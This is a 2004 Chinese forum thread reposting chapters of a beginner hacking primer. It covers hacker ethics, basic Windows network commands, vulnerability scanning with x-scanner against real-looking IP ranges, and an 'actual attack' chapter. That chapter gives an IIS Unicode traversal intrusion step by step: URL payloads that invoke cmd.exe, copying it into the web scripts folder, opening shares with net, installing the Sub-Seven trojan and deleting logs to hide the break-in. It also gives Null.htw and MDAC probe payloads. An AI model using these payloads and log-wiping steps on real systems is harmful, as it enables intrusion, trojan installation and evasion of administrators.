千家论坛_弱电智能化技术与工程讨论(建筑智能,家居智能,人工智能)

路由交换
收藏本版 (7) |订阅

路由交换 今日: 3703 |主题: 18312|排名: 28 

发新帖
打印 上一主题 下一主题

[分享]《黑客攻学兼防》-黑客的成长是一种学习,而...

[复制链接]
0758河台小赵 发布于: 2004-9-2 14:00 5015 次浏览 21 位用户参与讨论
跳转到指定楼层

以我的理解,“黑客”大体上应该分为“正”、“邪”两类,正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善,而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有害于网络的事情,因为邪派黑客所从事的事情违背了《黑客守则》,所以他们真正的名字叫“骇客”(Cracker)而非“黑客”(Hacker),也就是我们平时经常听说的“黑客”(Cacker)和“红客”(Hacker)。 无论那类黑客,他们最初的学习内容都将是本部分所涉及的内容,而且掌握的基本技能也都是一样的。即便日后他们各自走上了不同的道路,但是所做的事情也差不多,只不过出发点和目的不一样而已。 很多人曾经问:“做黑客平时都做什么?是不是非常刺激?”也有人对黑客的理解是“天天做无聊且重复的事情”。实际上这些又是一个错误的认识,黑客平时需要用大量的时间学习,只有经过不断的联系、实践,才可能自己体会出一些只可意会、不可言传的心得。 在学习之余,黑客应该将自己所掌握的知识应用到实际当中,无论是哪种黑客做出来的事情,根本目的无非是在实际中掌握自己所学习的内容。

学习黑客必须要从理论上了解各种网络服务的原理和应用方法,同时还要学习有关的网络协议和黑客、安全软件的运作机理,单纯的掌握某些黑客软件的使用方法并不能成为真正的黑客,我们通常称这类只懂得如何使用软件而不明白其中缘由的人为“伪黑客”。

[此贴子已经被作者于2004-9-14 10:23:13编辑过]
回复

使用道具 举报

已有21人评论

新浪微博达人勋

千家认证

沙发
欧阳傲天 发表于 2004-9-4 08:55:00

有写东西写的太深奥了

看不懂啊

没办法,本人太笨了

回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

板凳
0001 发表于 2004-9-6 10:41:00
好好学一下
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

地板
0758河台小赵 发表于 2004-9-14 10:24:00
黑客的行为主要有以下几种: 一、学习技术: 互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前掌握的内容,并不能维持他的“黑客身份”超过一年。 初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。 二、伪装自己: 黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。 伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对网络进行攻击,否则一旦自己的行迹败露,最终害的害是自己。 如果有朝一日你成为了真正的黑客,我也同样不赞成你对网络进行攻击,毕竟黑客的成长是一种学习,而不是一种犯罪。 三、发现漏洞: 漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。 黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点——世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。 四、利用漏洞: 对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情: 1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统; 2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器; 3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统; 4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统管理员,做出一些维护网络安全的事情; 5、做一些坏事:邪派黑客在完成上面的工作后,会判断服务器是否还有利用价值。如果有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的快感!
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

5#
0758河台小赵 发表于 2004-9-14 10:25:00
黑客应掌握的基本技能 从这一节开始,我们就真正踏上学习黑客的道路了,首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的兴趣,所以本书采取了循环式进度,也就是说每一章节的内容都是独立、全面的,学习者只有完整的学习过一章的内容,才能够进而学习下一章的内容。 一、了解一定量的英文: 学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内网络管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的网络安全网站。 二、学会基本软件的使用: 这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用方法,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。 三、初步了解网络协议和工作原理: 所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。 四、熟悉几种流行的编程语言和脚本: 同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。 五、熟悉网络应用程序: 网络应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚网络工作原理,这比依靠理论学习要容易许多,能够达到事半功倍的效果!
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

6#
0758河台小赵 发表于 2004-9-14 10:26:00
常用系统命令 一、ping命令 在Windows的控制窗口中(Windows 95/98/ME的command解释器、Windows NT/2000的cmd解释器),运行ping可以看到这个命令的说明,它是一个探测本地电脑和远程电脑之间信息传送速度的命令,这个命令需要TCP/IP协议的支持,ping将会计算一条信息从本地发送到远程再返回所需要的时间,黑客使用这个命令决定是否对服务器进行攻击,因为连接速度过慢会浪费时间、花费过多的上网费用。 另外这个命令还可以透过域名找到对方服务器的IP地址,我们知道域名只是提供给浏览网页用的,当我们看到一个不错的域名地址后,要想通过telnet连接它,就必须知道对方的IP地址,这里也要使用ping命令的。 这个命令的基本使用格式可以通过直接运行ping获得,现在假设目标是http://www.abc.com/,则可以在控制台下输入ping www.abc.com,经过等待会得到如下信息: Pinging www.abc.com [204.202.136.32] with 32 bytes of data: Reply from 204.202.136.32: bytes=32 time=302ms TTL=240 Reply from 204.202.136.32: bytes=32 time=357ms TTL=240 Reply from 204.202.136.32: bytes=32 time=288ms TTL=240 Reply from 204.202.136.32: bytes=32 time=274ms TTL=240 Ping statistics for 204.202.136.32: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 274ms, Maximum = 357ms, Average = 305ms 这些信息的意思是:www.abc.com的IP地址是204.202.136.32,对他发送了四次数据包,数据包的大小是32字节,每一次返回的时间分别是302ms、357ms、288ms、274ms。综合看,发送了四个数据包全部返回,最小时间是274ms,最大时间357ms,他们的平均时间是305ms。 这样黑客就了解了连接对方服务器使用的时间。另外这个命令还有一些特殊的用法,例如可以通过IP地址反查服务器的NetBIOS名,现在以211.100.8.87为例,使用ping配合“-a”,在控制台下输入命令ping -a 211.100.8.87,它的返回结果是: Pinging POPNET-FBZ9JDFV [211.100.8.87] with 32 bytes of data: Reply from 211.100.8.87: bytes=32 time=96ms TTL=120 Reply from 211.100.8.87: bytes=32 time=110ms TTL=120 Reply from 211.100.8.87: bytes=32 time=110ms TTL=120 Reply from 211.100.8.87: bytes=32 time=109ms TTL=120 Ping statistics for 211.100.8.87: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 96ms, Maximum = 110ms, Average = 106ms 从这个结果会知道服务器的NetBIOS名称是POPNET-FBZ9JDFV。另外在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,例如上面的www.abc.com返回的TTL是240,对方的系统很可能是Linux,而第二个目标的TTL是120,那么说明它使用的系统也许是Windows。 另外ping还有很多灵活的应用,我不在这里过多的介绍,读者请另行查阅此命令相关帮助文件。 二、net命令: NET命令是很多网络命令的集合,在Windows ME/NT/2000内,很多网络功能都是以net命令为开始的,通过net help可以看到这些命令的详细介绍: NET CONFIG 显示系统网络设置 NET DIAG 运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息 NET HELP 显示帮助信息 NET INIT 不通过绑定来加载协议或网卡驱动 NET LOGOFF 断开连接的共享资源 NET LOGON 在WORKGROUP中登陆 NET PASSWORD 改变系统登陆密码 NET PRINT 显示或控制打印作业及打印队列 NET START 启动服务,或显示已启动服务的列表 NET STOP 停止网络服务 NET TIME 使计算机的时钟与另一台计算机或域的时间同步 NET USE 连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息 NET VER 显示局域网内正在使用的网络连接类型和信息 NET VIEW 显示域列表、计算机列表或指定计算机的共享资源列表 这些命令在Win95/98中支持的比较少,只有几个基本常见的,而在NT或者2000中又元元多于上面的介绍,不过大多数对于初学者也没有必要掌握,所以我选择了WindowsME进行介绍,其中最常用到的是NET VIEW和NET USE,通过者两个命令,学习者可以连接网络上开放了远程共享的系统,并且获得资料。这种远程共享本来是为便捷操作设计的,但是很多网络管理员忽视了它的安全性,所以造成了很多不应该共享的信息的暴露,对于学习者来说,则可以轻易获得它人电脑上的隐私资料。 例如在控制台下输入net view \\202.96.50.24则可以获得对应IP的系统共享目录,进而找到他们的共享文件,当然这需要202.96.50.24系统的确存在共享目录,具体如何找到这些存在共享的系统,我将会在后面的文章中进行介绍。 三、telnet和ftp命令: 这两个命令分别可以远程对系统进行telnet登陆和ftp登陆,两种登陆使用的不同的协议,分别属于两种不同的网络服务,ftp是远程文件共享服务,也就是说学习者可以将自己的资料上传、下载,但是它并没有过多的权利,无法在远程电脑上执行上传的文件;而telnet则属于远程登陆服务,也就是说可以登陆到远程系统上,并获得一个解释器权限,拥有解释器就意味着拥有了一定的权限,这种权限可能是基本的文件操作、也可能是可以控制系统的管理员权限。 四、netstat命令: 这个程序有助于我们了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,如采用的协议类型、当前主机与远端相连主机(一个或多个)的IP地址以及它们之间的连接状态等。 使用netstat ?可以显示它的命令格式和参数说明: netstat [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] 其中的参数说明如下: -a 显示所有主机的端口号; -e 显示以太网统计信息; -n 以数字表格形式显示地址和端口; -p proto 显示特定的协议的具体使用信息; -r 显示本机路由表的内容; -s 显示每个协议的使用状态(包括TCP、UDP、IP); interval 重新显示所选的状态,每次显示之间的间隔数(单位秒)。 netstat命令的主要用途是检测本地系统开放的端口,这样做可以了解自己的系统开放了什么服务、还可以初步推断系统是否存在木马,因为常见的网络服务开放的默认端口轻易不会被木马占用,例如:用于FTP(文件传输协议)的端口是21;用于TELNET(远程登录协议)的端口是23;用于SMTP(邮件传输协议)的端口是25;用于DNS(域名服务,即域名与IP之间的转换)的端口是53;用于HTTP(超文本传输协议)的端口是80;用于POP3(电子邮件的一种接收协议)的端口是110;WINDOWS中开放的端口是139,除此以外,如果系统中还有其他陌生的到口,就可能是木马程序使用的了。通过netstat或者netstat -a可以观察开放的端口,如果发现下面的端口,就说明已经有木马程序在系统中存在: 31337号端口是BackOffice木马的默认端口;1999是Yai木马程序;2140或者3150都是DEEP THROAT木马使用的端口;还有NETBUS、冰河或者SUB7等木马程序都可以自定义端口,因此发现了陌生端口一定要提高警惕,使用防火墙或者查病毒软件进行检测。 五、tracert命令: 这个命令的功能是判定数据包到达目的主机所经过的路径、显示数据包经过的中继节点清单和到达时间。tracert命令的格式如下: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name 命令行中的参数-d是要求tracert不对主机名进行解析,-h是指定搜索到目的地址的最大轮数,-j的功能是沿着主机列表释放源路由,-w用来设置超时时间间隔。 通过tracert可以判断一个服务器是属于国内还是国际(网络服务器的物理未知不能依靠域名进行判断),根据路由路经可以判断信息从自己的系统发送到网络上,先后经过了哪些IP到大对方服务器,这就好像乘公共汽车的时候从起点出发到达终点站的时候,中途会出现很多路牌一个道理,我们清楚了自己的信息的传送路径,才能够更清晰的了解网络、对服务器进行攻击。 六、winipcfg: winipcfg和ipconfig都是用来显示主机内IP协议的配置信息。只是winipcfg适用于Windows 95/98,而ipconfig适用于Windows NT。winipcfg不使用参数,直接运行它,它就会采用Windows窗口的形式显示具体信息。这些信息包括:网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,点击其中的“其他信息”,还可以查看主机的相关信息如:主机名、DNS服务器、节点类型等。其中网络适配器的物理地址在检测网络错误时非常有用。 ipconfig的命令格式如下:ipconfig [/? | /all | /release [adapter] | /renew [adapter]] 其中的参数说明如下: 使用不带参数的ipconfig命令可以得到以下信息:IP地址、子网掩码、默认网关。而使用ipconfig /? 显示ipconfig的格式和参数的英文说明; /all 显示所有的配置信息; /release 为指定的适配器(或全部适配器)释放IP地址(只适用于DHCP); /renew 为指定的适配器(或全部适配器)更新IP地址(只适用于DHCP)。 /all,则可以得到更多的信息:主机名、DNS服务器、节点类型、网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

7#
0758河台小赵 发表于 2004-9-14 10:27:00
扫描器 一、扫描器的使用: 这里我使用x-scanner作为介绍对象,原因是x-scanner集成了多种扫描功能于一身,它可以采用多线程方式对指定IP地址段(或独立IP地址)进行安全漏洞扫描,提供了图形界面和命令行两种操作方式,扫描内容包括:标准端口状态及端口banner信息、CGI漏洞、RPC漏洞、SQL-SERVER默认帐户、FTP弱口令,NT主机共享信息、用户信息、组信息、NT主机弱口令用户等。扫描结果保存在/log/目录中,index_*.htm为扫描结果索引文件。对于一些已知的CGI和RPC漏洞,x-scanner给出了相应的漏洞描述、利用程序及解决方案,节省了查找漏洞介绍的时间。 首先x-scanner包括了两个运行程序:xscann.exe和xscan_gui.exe,这两个程序分别是扫描器的控制台版本和窗口版本,作为初学者可能更容易接受窗口版本的扫描软件,因为毕竟初学者使用最多的还是“应用程序”,无论运行那一个版本,他们的功能都是一样的。首先让我们运行窗口版本看看:窗口分为左右两部分,左面是进行扫描的类型,这包括前面提到的漏洞扫描、端口扫描等基本内容;另一部分是有关扫描范围的设定,xscanner可以支持对多个IP地址的扫描,也就是说使用者可以利用xscanner成批扫描多个IP地址,例如在IP地址范围内输入211.100.8.1-211.100.8.255就会扫描整个C类的255台服务器(如果存在的话),这样黑客可以针对某一个漏洞进行搜索,找到大范围内所有存在某个漏洞的服务器。当然如果只输入一个IP地址,扫描程序将针对单独IP进行扫描。 剩下的端口设定在前面已经介绍过,一般对于网站服务器,这个端口选取80或者8080,对于某些特殊的服务器也许还有特殊的端口号,那需要通过端口扫描进行寻找。多线程扫描是这个扫描器的一大特色,所谓多线程就是说同时在本地系统开辟多个socket连接,在同一时间内扫描多个服务器,这样做的好处是提高了扫描速度,节省时间,根据系统的资源配置高低,线程数字也可以自行设定(设定太高容易造成系统崩溃)。 在图形界面下我们看到了程序连接地址“.\xscan.exe”,这实际上就是xscanner的控制台程序,也就是说图形窗口只是将控制台扫描器的有关参数设置做了“傻瓜化”处理,程序运行真正执行的还是控制台程序。因此学习控制台是黑客所必需的,而且使用控制台模式的程序也是真正黑客喜爱的操作方式。 现在我们进行一个简单的cgi漏洞扫描,这次演练是在控制台模式下进行的:xscan 211.100.8.87 -port 这个命令的意思是让xscanner扫描服务器211.100.8.87的开放端口,扫描器不会对65535个端口全部进行扫描(太慢),它只会检测网络上最常用的几百个端口,而且每一个端口对应的网络服务在扫描器中都已经做过定义,从最后返回的结果很容易了解服务器运行了什么网络服务。扫描结果显示如下: Initialize dynamic library succeed. Scanning 211.100.8.87 ...... [211.100.8.87]: Scaning port state ... [211.100.8.87]: Port 21 is listening!!! [211.100.8.87]: Port 25 is listening!!! [211.100.8.87]: Port 53 is listening!!! [211.100.8.87]: Port 79 is listening!!! [211.100.8.87]: Port 80 is listening!!! [211.100.8.87]: Port 110 is listening!!! [211.100.8.87]: Port 3389 is listening!!! [211.100.8.87]: Port scan completed, found 7. [211.100.8.87]: All done. 这个结果还会同时在log目录下生成一个html文档,阅读文档可以了解发放的端口对应的服务项目。从结果中看到,这台服务器公开放了七个端口,主要有21端口用于文件传输、80端口用于网页浏览、还有110端口用于pop3电子邮件,如此一来,我们就可以进行有关服务的漏洞扫描了。 然后可以使用浏览看看这个服务器到底是做什么的,通过浏览发现原来这是一家报社的电子版面,这样黑客可以继续对服务器进行漏洞扫描查找服务器上是否存在perl漏洞,之后进行进一步进攻。 漏洞扫描的道理和端口扫描基本上类似,例如我们可以通过扫描器查找61.135.50.1到61.135.50.255这255台服务器上所有开放了80端口的服务器上是否存在漏洞,并且找到存在什么漏洞,则可以使用xscan 61.135.50.1-61.135.50.255 -cgi进行扫描,因为结果比较多,通过控制台很难阅读,这个时候xscanner会在log下生成多个html的中文说明,进行阅读这些文档比较方便。 二、扫描器使用问题: 载使用漏洞扫描器的过程中,学习者可能会经常遇到一些问题,这里给出有关问题产生的原因和解决办法。扫描器的使用并不是真正黑客生涯的开始,但它是学习黑客的基础,所以学习者应该多加练习,熟练掌握手中使用的扫描器,了解扫描器的工作原理和问题的解决办法。 1、为什么我找不到扫描器报告的漏洞? 扫描器报告服务器上存在某个存在漏洞的文件,是发送一个GET请求并接收服务器返回值来判断文件是否存在,这个返回值在HTTP的协议中有详细的说明,一般情况下“200”是文件存在,而“404”是没有找到文件,所以造成上面现象的具体原因就暴露出来了。 造成这个问题的原因可能有两种:第一种可能性是您的扫描器版本比较低,扫描器本身存在“千年虫”问题,对于返回的信息扫描器在判断的时候,会错误的以为时间信息2000年x月x日中的200是“文件存在”标志,这样就会造成误报; 另外一种可能性是服务器本身对“文件不存在”返回的头部信息进行了更改,如果GET申请的文件不存在,服务器会自动指向一个“没有找到页面”的文档,所以无论文件是否存在,都不会将“404”返回,而是仍然返回成功信息,这样做是为了迷惑漏洞扫描器,让攻击者不能真正判断究竟那个漏洞存在于服务器上。 这一问题的解决办法也要分情况讨论,一般说来第一种情况比较容易解决,直接升级漏洞扫描器就可以了,对于第二种情况需要使用者对网络比较熟悉,有能力的话可以自己编写一个漏洞扫描器,自己编写的扫描器可以针对返回文件的大小进行判断,这样就可以真正确定文件是否存在,但这种方法对使用者的能力要求较高。 2、我使用的扫描器速度和网络速度有关系嘛? 关系不大。扫描器发送和接收的信息都很小,就算是同时发送上百个GET请求一般的电话上网用户也完全可以做得到,影响扫描器速度的主要因素是服务器的应答速度,这取决于被扫描服务器的系统运行速度。如果使用者希望提高自己的扫描速度,可以使用支持多线程的扫描器,但是因为使用者本地电脑档次问题,也不可能将线程设置到上百个,那样的话会造成本地系统瘫痪,一般使用30个线程左右比较合适。 另外对于很多网络服务器来说,为了防止黑客的扫描行为,可能会在防火墙上设置同一IP的单位时间GET申请数量,这样做目的就是避免黑客的扫描和攻击,所以在提高本地扫描速度之前,应该先确认服务器没有相应的过滤功能之后再使用。 3、扫描器报告给我的漏洞无法利用是什么原因? 确切地说扫描器报告的不是“找到的漏洞”,而是找到了一个可能存在漏洞的文件,各种网络应用程序都可能存在漏洞,但是在更新版本的过程中,老版本的漏洞会被修补上,被扫描器找到的文件应该经过手工操作确认其是否是存在漏洞的版本,这可以通过阅读网络安全网站的“安全公告”获得相应知识。 对于已经修补上漏洞的文件来说,也不代表它一定不再存有漏洞,而只能说在一定程度上没有漏洞了,也许在明天,这个新版本的文件中又会被发现还存在其他漏洞,因此这需要网络安全爱好者时刻关注安全公告。当然如果攻击者或者网络管理员对编程比较熟悉,也可以自己阅读程序并力图自己找到可能的安全隐患,很多世界著名的黑客都是不依靠他人,而是自己寻找漏洞进行攻击的。 4、扫描器版本比较新,然而却从来没有找到过漏洞是什么原因? 有一些扫描器专门设计了“等待时间”,经过设置可以对等待返回信息的时间进行调整,这就是说在“网络连接超时”的情况下,扫描器不会傻傻的一直等待下去。但如果你的网络速度比较慢,有可能造成扫描器没有来得及接收返回信息就被认为“超时”而越了过去继续下面的扫描,这样当然是什么也找不到啦。 如果问题真的如此,可以将等待时间设置的长一些,或者换个ISP拨号连接。 5、扫描器报告服务器没有提供HTTP服务? 网络上大多数HTTP服务器和漏洞扫描器的默认端口都是80,而有少量的HTTP服务器并不是使用80端口提供服务的,在确认服务器的确开通了网站服务的情况下,可以用端口扫描器察看一下对方究竟使用什么端口进行的HTTP服务,网络上常见的端口还有8080和81。 另外这种情况还有一种可能性,也许是使用者对扫描器的参数设置不正确造成的,很多扫描器的功能不仅仅是漏洞扫描,有可能还提供了rpc扫描、ftp默认口令扫描和NT弱口令扫描等多种功能,因此在使用每一款扫描器之前,都应该自己阅读有关的帮助说明,确保问题不是出在自己身上。 6、扫描器使用过程中突然停止响应是为什么? 扫描器停止响应是很正常的,有可能是因为使用者连接的线程过多,本地系统资源不足而造成系统瘫痪、也可能是因为对方服务器的响应比较慢,依次发送出去的请求被同时反送回来而造成信息阻塞、还有可能是服务器安装了比较恶毒的防火墙,一旦察觉有人扫描就发送特殊的数据报回来造成系统瘫痪…… 因此扫描器停止响应不能简单的说是为什么,也没有一个比较全面的解决方案,不过一般情况下遇到这种问题,我建议你可以更换其他扫描器、扫描另外一些服务器试试,如果问题还没有解决,就可能是因为扫描器与你所使用的系统不兼容造成的,大多数基于微软视窗的漏洞扫描器都是运行在Windows9X下的,如果是Win2000或者NT也有可能造成扫描器无法正常工作。 7、下载回来的扫描器里面怎么没有可执行文件? 扫描器不一定非要是可执行的exe文件,其他例如perl、cgi脚本语言也可以编写扫描器,因此没有可执行文件的扫描器也许是运行在网络服务器上的,这种扫描器可以被植入到网络上的其它系统中,不需要使用者上网就能够24小时不停的进行大面积地址扫描,并将结果整理、分析,最后通过Email发送到指定的电子信箱中,因此这是一种比较高级的扫描器,初学者不适合使用。 另外注意载下在扫描器的时候注意压缩报文件的扩展名,如果是tar为扩展名,那么这个扫描器是运行在Linux系统下的,这种其它操作平台的扫描器无法在视窗平台下应用,文件格式也和FAT32不一样。 8、扫描器只报告漏洞名称,不报告具体文件怎么办? 只要漏洞被发现,网络安全组织即会为漏洞命名,因此漏洞名称对应的文件在相当广泛的范围内都是统一的,只要知道了漏洞的名称,黑客就可以通过专门的漏洞搜索引擎进行查找,并且学习到与找到漏洞相关的详细信息。这种“漏洞搜索引擎”在网络上非常多,例如我国“绿盟”提供的全中文漏洞搜索引擎就是比较理想的一个。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

8#
0758河台小赵 发表于 2004-9-14 10:30:00
实际攻击 一、中美黑客对战中的UNICODE漏洞利用: 2001年4月开始,中美黑客又一次在网络上展开了没有硝烟的战斗,这次黑客攻击主要是依靠UNICODE漏洞,利用这个漏洞黑客可以远程调用服务器的cmd命令解释器,对服务器磁盘进行各种操作,配合上传的木马等程序,这个漏洞载当时给互联网带来的威胁是巨大的。 1、UNICODE原理: 此漏洞从中文IIS4.0+SP6开始出现,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。UNICODE是一种编码格式,它可以用两组代码编制一个字符,例如下面在中文Windows2000中的编码规则就是黑客需要利用到的: %c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' %c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\' 黑客利用“%c1%1c”和“%c0%2f”两个不完整的编码,通过系统转换可以得到正、反斜杠,这样就可以访问远程服务器上的为开放的目录内容了。例如对于http://www.acc.com/来说,它的webroot目录如果是c:\webroot\,那么当黑客使用http://www.acc.com/scripts/..%c1%1c../winnt/system32/cmd.exe实际上被编码之后是:http://www.acc.com/scripts/../../winnt/system32/cmd.exe,也就是说黑客直接通过浏览器就调用了服务器上的cmd命令解释器,获得了远程执行命令的权限。 2、检测方法: 如果怀疑某个网站存在这个程序,可以通过下面的方法进行检测: http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir 如果系统的确存在漏洞的话,那么浏览器返回的内容将会是对方系统的硬盘目录内容,注意因为UNICODE在不同的系统中有不同的编码,所以不能依靠一组代码确定服务器上不存在这个漏洞。这个时候扫描器就派上了大用场,使用xscanner可以专门对多个UNICODE进行检测,它的使用参数是“-iis”。 3、分析漏洞: 获得了控制台命令的执行权限,就意味着黑客可以执行dir、copy、echo、net等多个命令,也就是说黑客可以浏览、删除服务器硬盘上的文件,还可以使用net命令打开服务器的某个目录的共享状态,然后上传木马并继续使用控制台命令调用木马。 例如http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\game可以使用dir命令列出服务器的c:\game目录中(如果有的话)的文件列表,将“/c+dir+”更改成“/c+del+”既可以删除后面指定的文件了。 4、完整利用: 现在假设学习者手中拥有sub-seven木马和一台已经确认具有UNICODE漏洞的服务器,之后所要做的事情就是单纯的利用浏览器和木马程序就可以完全控制服务器了。 首先利用扫描器找到一台具有IISCODE漏洞的服务器(例如http://www.bnc.org/),然后通过浏览器完成下面的工作: http://www.bnc.org/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c: 这样可以通过漏洞看到硬盘上的文件列表,地址行中的“..%c1%1c..”在不同的系统中可能不同,它的意思是经过UNICODE编码转变成符号“../..”,如果看到了文件列表说明漏洞的确存在,之后将cmd.exe文件复制到scripts目录下: /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\webroot\scripts\abc.exe 这样就将cmd.exe程序保存到scripts/目录下,并且将它的文件名更改为abc.exe,如果不更改名称,系统将不会在其他目录中运行cmd.exe。这之后可以用/scripts/abc.exe?/c+dir+c:\game等形式直接调用cmd.exe命令。 使用cmd.exe配合net命令可以在对方的系统上开辟一个共享目录,这个目录可以设置为整个驱动器,有关net use的介绍已经在第二章中提到,在这里不再过多做解释。开辟了共享目录后,既可以通过“网上邻居”直接连接到对方的系统上\\www.bnc.org\,之后上传木马程序sub-seven的服务端到scripts下。 最后调用并激活木马程序/scripts/sub-seven.exe,这样所有入侵工作全部完成了。之后在本地电脑上运行sub-seven的客户端程序,并在IP地址内输入对方的IP,控制对方系统。进入系统之后,要注意删除c:\winnt\log下的日志文件,这样系统管理员就不会发现此次入侵活动了。 二、更多的漏洞: 上面介绍的是通过UNICODE漏洞进行入侵的过程,在微软的IIS中还有更多的漏洞可以利用: 1、Null.htw IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个“hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:CiWebhitsfile、CiRestriction、CiHiliteType,可通过下列方法传递变量来获得任意asp文件的源代码: http://www.sample.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。 2、MDAC执行本地命令漏洞: 这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。黑客通过以下办法测试本机是否存在这个漏洞: c:\>nc -nw -w 2 <目标机> 80 GET /msadc/msadcs.dll HTTP 如果得到信息“application/x_varg”就很有可能存在此漏洞且没有打上补丁,可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl。 3、idc、ida 漏洞: 